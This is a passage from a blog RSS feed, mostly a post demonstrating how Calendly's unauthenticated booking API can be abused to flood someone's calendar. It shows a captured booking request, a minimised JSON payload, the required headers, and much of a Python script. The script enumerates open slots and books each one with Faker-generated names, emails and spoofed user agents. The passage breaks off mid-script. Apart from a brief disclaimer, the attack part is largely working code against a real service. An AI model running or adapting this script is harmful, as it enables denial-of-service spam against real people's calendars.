</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">message</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>That should be enough to get started. Thinking about all of this as just string manipulation made it &ldquo;click&rdquo; for me.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://ollama.com/download/" target="_blank" rel="noopener">https://ollama.com/download/</a></li>
<li>

<a href="https://ollama.com/library/gpt-oss" target="_blank" rel="noopener">https://ollama.com/library/gpt-oss</a></li>
<li>

<a href="https://github.com/ollama/ollama-python/tree/main/examples" target="_blank" rel="noopener">https://github.com/ollama/ollama-python/tree/main/examples</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Calendly Denial of Service via Mass-Scheduling</title>
      <link>https://nelson.cloud/calendly-denial-of-service-via-mass-scheduling/?ref=rss</link>
      <pubDate>Thu, 16 May 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/calendly-denial-of-service-via-mass-scheduling/?ref=rss</guid>
      <description>Showing how Calendly can be easily spammed because I&amp;rsquo;m bored and unemployed.</description><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>I&rsquo;ve been doing interviews lately and I have been sent several 

<a href="https://calendly.com/" target="_blank" rel="noopener">Calendly</a> links.</p>
<p>If you haven&rsquo;t heard of Calendly, it&rsquo;s an online scheduling site. You can send someone your Calendly link, and they can see your availability and schedule an appointment.</p>
<p>I noticed that I don&rsquo;t have to be authenticated any way to be able to schedule an appointment on someone&rsquo;s calendar. Not great from a security perspective. So I decided to create a free Calendly account and see how easily a theoretical bad actor could abuse it.</p>
<p>The plan is to automate the process of scheduling appointments with Python to fill up someone&rsquo;s calendar with fake appointments.</p>
<blockquote><p><strong>Disclaimer:</strong></p>This is purely for educational purposes. Please do not spam people&rsquo;s calendars.</blockquote>

<h2 id="gathering-request-urls-headers-and-payloads">Gathering Request URLs, Headers, and Payloads</h2>
<p>First, I created a free account at 

<a href="https://calendly.com/signup" target="_blank" rel="noopener">https://calendly.com/signup</a>.</p>
<img src="/calendly-spam/new-account.webp" alt="My new Calendly account" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>The dates and times available are shown in the following screenshot:</p>
<img src="/calendly-spam/dates-available.webp" alt="Dates available for scheduling" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>I went through the process of manually creating an appointment in order to capture requests, HTTP verbs, and the URLs they were going to.</p>
<p>This was the final step before creating an appointment:</p>
<img src="/calendly-spam/scheduling-appointment.webp" alt="The process of scheduling an appointment on Calendly" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>As I went through the process of scheduling and appointment I was keeping track of all the <code>GET</code> requests and their payloads (I chose not to show those here to get to the good stuff sooner). The final request that actually created an appointment was a <code>POST</code> request to <code>https://calendly.com/api/booking/invitees</code>. This is the payload of that request:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;analytics&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;referrer_page&#34;</span><span class="p">:</span><span class="kc">null</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;invitee_landed_at&#34;</span><span class="p">:</span><span class="s2">&#34;2024-05-16T00:39:59.886Z&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;browser&#34;</span><span class="p">:</span><span class="s2">&#34;Firefox 126&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;device&#34;</span><span class="p">:</span><span class="s2">&#34;undefined Mac OS X 10.15&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;fields_filled&#34;</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;fields_presented&#34;</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;booking_flow&#34;</span><span class="p">:</span><span class="s2">&#34;v3&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;seconds_to_convert&#34;</span><span class="p">:</span><span class="mi">86</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;embed&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;start_time&#34;</span><span class="p">:</span><span class="s2">&#34;2024-05-16T10:30:00-07:00&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;location_configuration&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;location&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;phone_number&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;additional_info&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;guests&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event_fields&#34;</span><span class="p">:[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;id&#34;</span><span class="p">:</span><span class="mi">171096387</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;name&#34;</span><span class="p">:</span><span class="s2">&#34;Please share anything that will help prepare for our meeting.&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;format&#34;</span><span class="p">:</span><span class="s2">&#34;text&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;required&#34;</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;position&#34;</span><span class="p">:</span><span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;answer_choices&#34;</span><span class="p">:</span><span class="kc">null</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;include_other&#34;</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;value&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event_type_uuid&#34;</span><span class="p">:</span><span class="s2">&#34;2bf9fee5-e434-44a2-8f1f-15eb42f906f0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;invitee&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;timezone&#34;</span><span class="p">:</span><span class="s2">&#34;America/Los_Angeles&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;time_notation&#34;</span><span class="p">:</span><span class="s2">&#34;12h&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;full_name&#34;</span><span class="p">:</span><span class="s2">&#34;Nelson Figueroa&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;email&#34;</span><span class="p">:</span><span class="s2">&#34;thisisafakeemail@example.com&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;payment_token&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;recaptcha_token&#34;</span><span class="p">:</span><span class="s2">&#34;03AFcWeA6-bQo_p48-znbKGUevb...&lt;cut for brevity&gt;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;single_use_slug&#34;</span><span class="p">:</span><span class="kc">null</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;tracking&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;fingerprint&#34;</span><span class="p">:</span><span class="s2">&#34;a13001d0fcfe7e73a87dfd93e5edf7a5&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;scheduling_link_uuid&#34;</span><span class="p">:</span><span class="s2">&#34;ckbp-gj5-6gh&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Most of the fields aren&rsquo;t necessary. Through trial and error I noticed I really only need a JSON payload structured like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;start_time&#34;</span><span class="p">:</span><span class="s2">&#34;2024-05-16T10:30:00-07:00&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;location_configuration&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;location&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;phone_number&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;additional_info&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;event_type_uuid&#34;</span><span class="p">:</span><span class="s2">&#34;2bf9fee5-e434-44a2-8f1f-15eb42f906f0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;invitee&#34;</span><span class="p">:{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;timezone&#34;</span><span class="p">:</span><span class="s2">&#34;America/Los_Angeles&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;time_notation&#34;</span><span class="p">:</span><span class="s2">&#34;12h&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;full_name&#34;</span><span class="p">:</span><span class="s2">&#34;Nelson Figueroa&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;email&#34;</span><span class="p">:</span><span class="s2">&#34;thisisafakeemail@example.com&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>I also made a note of the request headers that I needed for this <code>POST</code> request:</p>
<pre tabindex="0"><code>POST /api/booking/invitees HTTP/2
Host: calendly.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36 Gecko/20100101 Firefox/126.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Referer: https://calendly.com/nelsonfigueroa/30min/2024-05-16T10:30:00-07:00?back=1&amp;month=2024-05&amp;date=2024-05-16
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Content-Length: 3324
Origin: https://calendly.com
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
TE: trailers
</code></pre><p>At this point I had the information I needed to try and mass-create appointments.</p>
<h2 id="creating-a-python-script">Creating a Python Script</h2>
<p>I came up with this Python script that makes a few <code>GET</code> requests to figure out what days are available for scheduling and then makes a <code>POST</code> request as previously described:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">faker</span> <span class="kn">import</span> <span class="n">Faker</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># we&#39;ll use Faker to generate fake names, emails, etc</span>
</span></span><span class="line"><span class="cl"><span class="n">fake</span> <span class="o">=</span> <span class="n">Faker</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">starting_url</span> <span class="o">=</span> <span class="s2">&#34;https://calendly.com/nelsonfigueroa/&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">scheduling_url</span> <span class="o">=</span> <span class="s2">&#34;https://calendly.com/api/booking/invitees&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># generate today&#39;s date for use in range later</span>
</span></span><span class="line"><span class="cl"><span class="n">today</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">today</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">today_formatted</span> <span class="o">=</span> <span class="n">today</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">&#34;%Y-%m-</span><span class="si">%d</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># generate the date 30 days from today for use in range later</span>
</span></span><span class="line"><span class="cl"><span class="n">one_year_from_today</span> <span class="o">=</span> <span class="n">today</span> <span class="o">+</span> <span class="n">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="mi">30</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">one_year_from_today_formatted</span> <span class="o">=</span> <span class="n">one_year_from_today</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">&#34;%Y-%m-</span><span class="si">%d</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># GET request to get event types</span>
</span></span><span class="line"><span class="cl"><span class="n">username</span> <span class="o">=</span> <span class="n">starting_url</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;/&#34;</span><span class="p">)[</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">event_types_url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://calendly.com/api/booking/profiles/</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s2">/event_types&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">event_types_url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">event_types</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">json</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># event types have the URL paths we need (i.e. /30min)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># we need to get the UUID in the API call</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">event_type</span> <span class="ow">in</span> <span class="n">event_types</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">uuid</span> <span class="o">=</span> <span class="n">event_type</span><span class="p">[</span><span class="s2">&#34;uuid&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># GET request to get the dates available for the event type</span>
</span></span><span class="line"><span class="cl">    <span class="n">time_zone</span> <span class="o">=</span> <span class="s2">&#34;America/Los_Angeles&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">range_start</span> <span class="o">=</span> <span class="n">today_formatted</span>
</span></span><span class="line"><span class="cl">    <span class="n">range_end</span> <span class="o">=</span> <span class="n">one_year_from_today_formatted</span>
</span></span><span class="line"><span class="cl">    <span class="n">booking_dates_url</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="sa">f</span><span class="s2">&#34;https://calendly.com/api/booking/event_types/</span><span class="si">{</span><span class="n">uuid</span><span class="si">}</span><span class="s2">/calendar/range&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">query_string</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="sa">f</span><span class="s2">&#34;?timezone=</span><span class="si">{</span><span class="n">time_zone</span><span class="si">}</span><span class="s2">&amp;range_start=</span><span class="si">{</span><span class="n">range_start</span><span class="si">}</span><span class="s2">&amp;range_end=</span><span class="si">{</span><span class="n">range_end</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">booking_dates_url</span> <span class="o">+=</span> <span class="n">query_string</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">booking_dates_url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">booking_dates</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">json</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">booking_dates</span> <span class="o">=</span> <span class="n">booking_dates</span><span class="p">[</span><span class="s2">&#34;days&#34;</span><span class="p">]</span>  <span class="c1"># we only need the days</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># check if the user is available on each date</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">booking_date</span> <span class="ow">in</span> <span class="n">booking_dates</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">booking_date</span><span class="p">[</span><span class="s2">&#34;status&#34;</span><span class="p">]</span> <span class="o">==</span> <span class="s2">&#34;available&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="c1"># get open spots for each available date</span>
</span></span><span class="line"><span class="cl">            <span class="n">open_spots</span> <span class="o">=</span> <span class="n">booking_date</span><span class="p">[</span><span class="s2">&#34;spots&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">open_spot</span> <span class="ow">in</span> <span class="n">open_spots</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="c1"># we need the starting time for each open spot</span>
</span></span><span class="line"><span class="cl">                <span class="n">start_time</span> <span class="o">=</span> <span class="n">open_spot</span><span class="p">[</span><span class="s2">&#34;start_time&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="c1"># we use data we&#39;ve gathered to generate a payload</span>
</span></span><span class="line"><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;event&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;start_time&#34;</span><span class="p">:</span> <span class="n">start_time</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;location_configuration&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                            <span class="s2">&#34;location&#34;</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="s2">&#34;phone_number&#34;</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="s2">&#34;additional_info&#34;</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;event_type_uuid&#34;</span><span class="p">:</span> <span class="n">uuid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;invitee&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;full_name&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;name&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;email&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;mail&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;timezone&#34;</span><span class="p">:</span> <span class="n">time_zone</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;time_notation&#34;</span><span class="p">:</span> <span class="s2">&#34;12h&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Host&#34;</span><span class="p">:</span> <span class="s2">&#34;calendly.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;User-Agent&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">chrome</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Accept&#34;</span><span class="p">:</span> <span class="s2">&#34;application/json, text/plain, */*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Accept-Language&#34;</span><span class="p">:</span> <span class="s2">&#34;en-US,en;q=0.5&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Accept-Encoding&#34;</span><span class="p">:</span> <span class="s2">&#34;gzip, deflate, br&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Referer&#34;</span><span class="p">:</span> <span class="n">starting_url</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;X-Requested-With&#34;</span><span class="p">:</span> <span class="s2">&#34;XMLHttpRequest&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/json&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="s2">&#34;3924&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Origin&#34;</span><span class="p">:</span> <span class="s2">&#34;https://calendly.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;DNT&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Sec-GPC&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
